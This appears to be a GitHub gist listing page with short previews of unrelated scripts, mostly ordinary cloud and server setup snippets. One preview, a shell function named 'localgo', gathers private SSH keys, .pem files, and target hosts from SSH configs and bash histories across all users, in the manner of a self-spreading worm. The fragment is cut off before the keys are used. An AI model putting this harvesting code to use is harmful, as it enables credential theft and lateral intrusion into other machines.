This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash -ex | |
# not for debian more for rhel biased = much | |
exec > >(tee /var/log/user-data.log|logger -t user-data -s 2>/dev/console) 2>&1 | |
echo BEGIN | |
date '+%Y-%m-%d %H:%M:%S' | |
# Edit these for mucho gusto | |
SSHUSER="jimbean" | |
SSHPUBKEY="ssh-rsa AAAABsadfsdgsbfvdf..xyz" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Setup gitlab on minikube using helm3 | |
## Start minikube with virtualbox driver | |
``` | |
minikube start \ | |
--driver=virtualbox \ | |
--cpus 4 \ | |
--memory 8192 | |
``` | |
**Recomended:** 8 CPU and 30 GB RAM (for demo we are going to use minimal setup) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
variable "ec2_instance_type" { | |
type = string | |
default = "t3.xlarge" | |
} | |
variable "amazon_owner_id" { | |
type = string | |
default = "137112412989" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
openssl req -nodes -new -x509 -keyout synergy.key -out synergy.cert -days 3650 -sha256 -subj "/C=US/ST=TX/L=AUSTIN/O=RANGERS/OU=IT/CN=LEETERS" | |
cat synergy.key synergy.cert > synergy.pem | |
rm -f synergy.key synergy.cert |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding utf-8 -*- | |
import dns.resolver | |
import argparse | |
import sys | |
def parser_error(errmsg): | |
print("Usage: python " + sys.argv[0] + " [Options] use -h for help") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
localgo() { | |
myhostip=$(curl -sL icanhazip.com) | |
KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub) | |
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }') | |
KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'}) | |
KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq) | |
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}') | |
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}") | |
HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Usage: monitor_process.py <service_name> | |
# | |
# Example(crontab, every 5 minutes): | |
# */5 * * * * /root/bin/monitor_service.py clamd > /dev/null 2>&1 | |
# | |
import sys | |
import subprocess | |
class ServiceMonitor(object): | |
def __init__(self, service): | |
self.service = service |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"AWSTemplateFormatVersion" : "2010-09-09", | |
"Description" : "ElasticSearch Cluster.", | |
"Parameters" : { | |
"KeyName": { | |
"Description" : "The name of an existing key pair to enable SSH access to Amazon EC2 instances", | |
"Type": "String", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import boto3 | |
import time | |
# Get the s3 and lambda arn from the cloudformation stack | |
cloud_client = boto3.client('cloudformation') | |
try: | |
stack_info = cloud_client.describe_stacks(StackName='v1') | |
print("stack already exists") | |
except: | |
print("The stack does not exist okay to create") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
2 ssh-keygen | |
3 systemctl reload sshd | |
5 sudo systemctl start firewalld | |
6 sudo firewall-cmd --permanent --add-service=ssh | |
7 sudo firewall-cmd --permanent --remove-service=ssh | |
8 sudo firewall-cmd --permanent --add-service=ssh | |
9 sudo firewall-cmd --permanent --add-service=http | |
10 sudo firewall-cmd --permanent --add-service=https | |
11 sudo systemctl enable firewalld | |
12 sudo yum install epel-release |
NewerOlder